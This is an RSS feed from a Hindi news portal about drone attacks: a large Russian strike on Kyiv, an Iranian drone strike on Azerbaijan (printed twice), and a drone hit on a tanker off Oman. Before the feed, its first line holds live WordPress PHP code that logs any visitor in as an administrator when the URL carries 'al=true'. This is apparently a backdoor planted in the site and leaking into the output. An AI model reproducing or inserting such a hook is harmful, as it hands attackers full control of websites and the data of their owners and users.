// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Drone attack – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 25 May 2026 04:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 कीव पर रूस का बड़ा हमला: 600 ड्रोन और 90 मिसाइलों की बौछार, 4 की मौत https://pratyushaashakinayikiran.com/?p=222127 Mon, 25 May 2026 04:15:00 +0000 https://pratyushaashakinayikiran.com/?p=222127  नई दिल्ली

 यूक्रेन की राजधानी कीव में रविवार रात विनाशकारी हमले देखने को मिले, जब रूस ने ड्रोन और मिसाइलों की भारी बौछार कर दी।

यह हमला हाल के हफ्तों में कीव पर हुए सबसे बड़े हमलों में से एक माना जा रहा है। हमले के बाद शहर के कई हिस्सों में आग, धमाकों और धुएं का भयावह मंजर देखने को मिला।

सोशल मीडिया पर वायरल हो रहे वीडियो में एक क्रूज मिसाइल को कीव के मध्य हिस्से में गिरते देखा जा सकता है। मिसाइल के टकराते ही जोरदार विस्फोट होता है। धमाकों की आवाज रातभर कीव में गूंजती रही।

600 ड्रोन और 90 मिसाइलों से कीव पर हमला
यूक्रेनी अधिकारियों के मुताबिक, रूस ने इस हमले में करीब 600 ड्रोन और 90 मिसाइलों का इस्तेमाल किया। यूक्रेन की एयर डिफेंस प्रणाली ने बड़ी संख्या में ड्रोन और मिसाइलों को मार गिराया, लेकिन कई हथियार अपने लक्ष्य तक पहुंचने में सफल रहे।

समाचार एजेंसी AFP के अनुसार, हमले में राजधानी कीव समेत कई अन्य क्षेत्रों को भी निशाना बनाया गया। कीव के लुकियानिव्स्का मेट्रो स्टेशन के पास स्थित एक बिजनेस सेंटर और बाजार पूरी तरह तबाह हो गए।

स्थानीय मीडिया रिपोर्ट्स में बताया गया कि एक छोटा कैफे, जिसे रूसी हमलों के बाद छह बार दोबारा बनाया और खोला गया था, इस हमले में फिर से नष्ट हो गया।

चार लोगों की मौत, दर्जनों घायल
यूक्रेन के अधिकारियों ने बताया कि हमले में कम से कम चार लोगों की मौत हुई है, जबकि दर्जनों लोग घायल हुए हैं। कई रिहायशी इमारतें, स्कूल, बाजार और व्यावसायिक भवन क्षतिग्रस्त हो गए।

हमले के दौरान दहशत में लोग मेट्रो स्टेशनों और भूमिगत बंकरों की ओर भागते नजर आए। रातभर सायरन बजते रहे और कई इलाकों में बिजली आपूर्ति भी प्रभावित हुई।

यूक्रेन के विदेश मंत्री एंड्री सिबिहा ने सोशल मीडिया प्लेटफॉर्म एक्स पर रूस की कड़ी आलोचना की। उन्होंने कहा कि यह हमला किसी सैन्य लक्ष्य पर नहीं बल्कि आम नागरिकों को नुकसान पहुंचाने के लिए किया गया।

एंड्री सिबिहा ने बताया कि कीव के अलावा चेर्कासी, खार्किव, क्रोपिवनित्स्की, ओडेसा, पोल्टावा, सूमी और झितोमिर क्षेत्रों पर भी हमले किए गए।

यूक्रेनी राष्ट्रपति वोलोदिमिर जेलेंस्की ने कहा कि रूस ने इस बार 'ओरेशनिक' नामक शक्तिशाली हाइपरसोनिक बैलिस्टिक मिसाइल का भी इस्तेमाल किया।

क्या है Oreshnik हाइपरसोनिक मिसाइल?
'ओरेशनिक' रूस की नई हाइपरसोनिक मिसाइल मानी जा रही है। यह ध्वनि की गति से लगभग 10 गुना तेज रफ्तार से उड़ सकती है। विशेषज्ञों के अनुसार, यह मिसाइल जमीन के कई मंजिल नीचे बने बंकरों को भी नष्ट करने में सक्षम है।

रूस ने पहली बार नवंबर 2024 में यूक्रेन के ड्नीप्रो शहर पर इस मिसाइल का इस्तेमाल किया था। इसके बाद जनवरी में पश्चिमी यूक्रेन के लवीव क्षेत्र में भी इसके उपयोग की खबरें सामने आई थीं।
    
'यूक्रेन के हमलों के जवाब में किया अटैक'
रूस के रक्षा मंत्रालय ने रविवार को पुष्टि की कि उसने ओरेशनिक समेत कई मिसाइल प्रणालियों का उपयोग कर यूक्रेन के सैन्य कमांड सेंटर, एयरबेस और सैन्य उद्योग से जुड़े ठिकानों पर हमला किया। हालांकि रूस ने इन ठिकानों के नाम सार्वजनिक नहीं किए।

मॉस्को ने कहा कि यह हमला रूस-नियंत्रित इलाकों पर यूक्रेन की ओर से किए गए हमलों के जवाब में किया गया है। रूस और यूक्रेन के बीच जारी युद्ध अब और अधिक खतरनाक मोड़ लेता दिख रहा है।

हाइपरसोनिक मिसाइलों के इस्तेमाल ने वैश्विक स्तर पर चिंता बढ़ा दी है। विशेषज्ञों का मानना है कि इस तरह के हथियार युद्ध को और विनाशकारी बना सकते हैं, क्योंकि इन्हें रोकना पारंपरिक मिसाइलों की तुलना में बेहद मुश्किल होता है।

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ड्रोन हमले से बढ़ा तनाव: अजरबैजान ने ईरानी राजदूत को किया तलब https://pratyushaashakinayikiran.com/?p=202691 Thu, 05 Mar 2026 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=202691 बाकू
अजरबैजान ने एयरपोर्ट और एक स्कूल के पास ड्रोन हमले में दो लोगों के घायल होने के बाद ईरानी दूत को तलब किया है। विदेश मंत्रालय ने एक बयान में कहा, “एक ड्रोन ने नखचिवन स्वायत्त गणराज्य में हवाई अड्डे की टर्मिनल बिल्डिंग पर हमला किया, जबकि दूसरा ड्रोन शकराबाद गांव में एक स्कूल बिल्डिंग के पास गिरा।” इसके साथ ही ईरान से अपील करते हुए कहा, “हम इस्लामिक रिपब्लिक ऑफ ईरान के इलाके से किए गए इन ड्रोन हमलों की कड़ी निंदा करते हैं, जिससे एयरपोर्ट की बिल्डिंग को नुकसान हुआ और दो आम लोग घायल हो गए।”
मंत्रालय के अनुसार इस हमले से अंतरराष्ट्रीय कानून का उल्लंघन हुआ है। अजरबैजान ने ईरान से जल्द इस मामले को स्पष्ट करने और भविष्य में ऐसी घटनाएं न होने के लिए जरूरी कदम उठाने की मांग की है।
बाकू ने यह भी कहा कि अजरबैजान इस मामले में जवाबी कदम उठाने का अधिकार सुरक्षित रखता है। साथ ही ईरान के राजदूत को बुलाकर इस घटना पर कड़ा विरोध दर्ज कराया गया है। ईरानी ड्रोन ने दोनों देशों की साझी सीमा के पास एक अजरबैजानी एयरपोर्ट पर हमला किया। यह पहली बार है जब तेहरान के खिलाफ यूएस-इजरायल युद्ध शुरू होने के बाद से ईरान ने काकेशस के किसी राज्य को निशाना बनाया है।
अजरबैजान, ने मिडिल ईस्ट संघर्ष में न्यूट्रल रुख अपनाया है। इसने हाल ही में इजरायल और ट्रंप प्रशासन के साथ करीबी संबंध बनाए, जबकि धीरे-धीरे काकेशस में पारंपरिक सहयोगी रहे मास्को से दूरी बनाई।
देश में कोई अमेरिकी मिलिट्री बेस नहीं है, जिससे पता चलता है कि ईरान सीधे अमेरिकी सेना से जुड़े टारगेट से आगे अपने हमलों को बढ़ा सकता है।
इजरायल के साथ बाकू के बढ़ते सैन्य सहयोग ने तेहरान के साथ टकराव पैदा किया है, हालांकि दोनों पड़ोसियों ने काफी हद तक प्रैक्टिकल संबंध बनाए रखे हैं। दोनों देशों में बहुसंख्यक शिया मुस्लिम हैं, और ईरान लाखों अजेरी लोगों का घर है – अनुमान है कि यह संख्या लगभग डेढ़ से 2 करोड़ से भी अधिक है – जिनमें से कई अजरबैजान की सीमा से लगे उत्तर-पश्चिमी प्रांतों में रहते हैं।

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ड्रोन हमले से बढ़ा तनाव: अजरबैजान ने ईरानी राजदूत को किया तलब https://pratyushaashakinayikiran.com/?p=202692 Thu, 05 Mar 2026 17:05:00 +0000 https://pratyushaashakinayikiran.com/?p=202692 बाकू
अजरबैजान ने एयरपोर्ट और एक स्कूल के पास ड्रोन हमले में दो लोगों के घायल होने के बाद ईरानी दूत को तलब किया है। विदेश मंत्रालय ने एक बयान में कहा, “एक ड्रोन ने नखचिवन स्वायत्त गणराज्य में हवाई अड्डे की टर्मिनल बिल्डिंग पर हमला किया, जबकि दूसरा ड्रोन शकराबाद गांव में एक स्कूल बिल्डिंग के पास गिरा।” इसके साथ ही ईरान से अपील करते हुए कहा, “हम इस्लामिक रिपब्लिक ऑफ ईरान के इलाके से किए गए इन ड्रोन हमलों की कड़ी निंदा करते हैं, जिससे एयरपोर्ट की बिल्डिंग को नुकसान हुआ और दो आम लोग घायल हो गए।”
मंत्रालय के अनुसार इस हमले से अंतरराष्ट्रीय कानून का उल्लंघन हुआ है। अजरबैजान ने ईरान से जल्द इस मामले को स्पष्ट करने और भविष्य में ऐसी घटनाएं न होने के लिए जरूरी कदम उठाने की मांग की है।
बाकू ने यह भी कहा कि अजरबैजान इस मामले में जवाबी कदम उठाने का अधिकार सुरक्षित रखता है। साथ ही ईरान के राजदूत को बुलाकर इस घटना पर कड़ा विरोध दर्ज कराया गया है। ईरानी ड्रोन ने दोनों देशों की साझी सीमा के पास एक अजरबैजानी एयरपोर्ट पर हमला किया। यह पहली बार है जब तेहरान के खिलाफ यूएस-इजरायल युद्ध शुरू होने के बाद से ईरान ने काकेशस के किसी राज्य को निशाना बनाया है।
अजरबैजान, ने मिडिल ईस्ट संघर्ष में न्यूट्रल रुख अपनाया है। इसने हाल ही में इजरायल और ट्रंप प्रशासन के साथ करीबी संबंध बनाए, जबकि धीरे-धीरे काकेशस में पारंपरिक सहयोगी रहे मास्को से दूरी बनाई।
देश में कोई अमेरिकी मिलिट्री बेस नहीं है, जिससे पता चलता है कि ईरान सीधे अमेरिकी सेना से जुड़े टारगेट से आगे अपने हमलों को बढ़ा सकता है।
इजरायल के साथ बाकू के बढ़ते सैन्य सहयोग ने तेहरान के साथ टकराव पैदा किया है, हालांकि दोनों पड़ोसियों ने काफी हद तक प्रैक्टिकल संबंध बनाए रखे हैं। दोनों देशों में बहुसंख्यक शिया मुस्लिम हैं, और ईरान लाखों अजेरी लोगों का घर है – अनुमान है कि यह संख्या लगभग डेढ़ से 2 करोड़ से भी अधिक है – जिनमें से कई अजरबैजान की सीमा से लगे उत्तर-पश्चिमी प्रांतों में रहते हैं।

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ओमान में ड्रोन हमले का शिकार बना तेल टैंकर, मिडिल-ईस्ट संघर्ष में भारतीय की मौत https://pratyushaashakinayikiran.com/?p=202020 Mon, 02 Mar 2026 16:15:00 +0000 https://pratyushaashakinayikiran.com/?p=202020 नई दिल्ली
मिडिल-ईस्ट में जारी युद्ध में एक भारतीय व्यक्ति की मौत हो गई है। ओमान में सोमवार को मार्शल द्वीपों के झंडे वाले तेल टैंकर MKD VYOM पर बम से लैस ड्रोन से हमला किया गया, जिसमें जहाज पर सवार एक भारतीय नाविक की मौत हो गई। ओमान न्यूज एजेंसी के अनुसार, यह हमला मस्कट के तट से दूर हुआ। हमले के चलते जहाज में आग लग गई और इंजन रूम में विस्फोट हुआ। जहाज पर कुल 21 क्रू मेंबर्स थे, जिनमें 16 भारतीय शामिल थे। बाकी लोगों को सुरक्षित निकाल लिया गया है।

रिपोर्ट के मुताबिक, यह हमला स्ट्रेट ऑफ हॉर्मुज के निकट हुआ, जो फारस की खाड़ी का पतला रास्ता है। वैश्विक तेल व्यापार के लिए यह काफी अहम है। ओमान के मैरीटाइम सिक्योरिटी सेंटर ने बताया कि टैंकर पर लगभग 59,463 मीट्रिक टन कार्गो था और हमला मस्कट से करीब 52 नॉटिकल मील दूर हुआ। यह घटना मध्य-पूर्व में चल रहे युद्ध के विस्तार का हिस्सा मानी जा रही है। इजरायल और अमेरिका ने हाल ही में ईरान के खिलाफ बड़े पैमाने पर हवाई हमले शुरू किए हैं, जिसके जवाब में ईरान ने हॉर्मुज जलडमरूमध्य के नजदीक आने वाले जहाजों को धमकी दी है।

विशेषज्ञों का मानना है कि ईरान ने कई हमलों को अंजाम दिया है, जिसमें ड्रोन और मिसाइलों का इस्तेमाल शामिल है। इस हमले को ईरान समर्थित ताकतों से जोड़ा जा रहा है, हालांकि अभी तक किसी ने स्पष्ट रूप से जिम्मेदारी नहीं ली है। यह क्षेत्र पहले भी समुद्री हमलों का गवाह रहा है, लेकिन मौजूदा संघर्ष के कारण तनाव और बढ़ गया है। इस हमले में भारत के व्यक्ति की मौत को अमेरिका-ईरान संघर्ष में पहली भारतीय हानि के रूप में देखा जा रहा है।

ओमान ने हमले के बाद जहाज के चालक दल को सुरक्षित निकाल लिया है और स्थिति को नियंत्रित करने के प्रयास किए जा रहे हैं। इस तरह की घटनाएं अंतरराष्ट्रीय समुद्री मार्गों की सुरक्षा पर सवाल उठाती हैं और तेल की सप्लाई चेन को प्रभावित कर सकती हैं। यह हमला क्षेत्रीय अस्थिरता को और गहरा करने वाला है, क्योंकि स्ट्रेट ऑफ हॉर्मुज से दुनिया का बड़ा हिस्सा तेल गुजरता है। ईरान और पश्चिमी देशों के बीच बढ़ते तनाव से समुद्री व्यापार प्रभावित हो रहा है। ओमान जैसे तटवर्ती देशों को ऐसी घटनाओं से निपटने के लिए अतिरिक्त सतर्कता बरतनी पड़ रही है। विशेषज्ञ चिंता जता रहे हैं कि अगर ऐसे हमले जारी रहे तो ग्लोबल एनर्जी मार्केट पर गंभीर असर पड़ सकता है।

 

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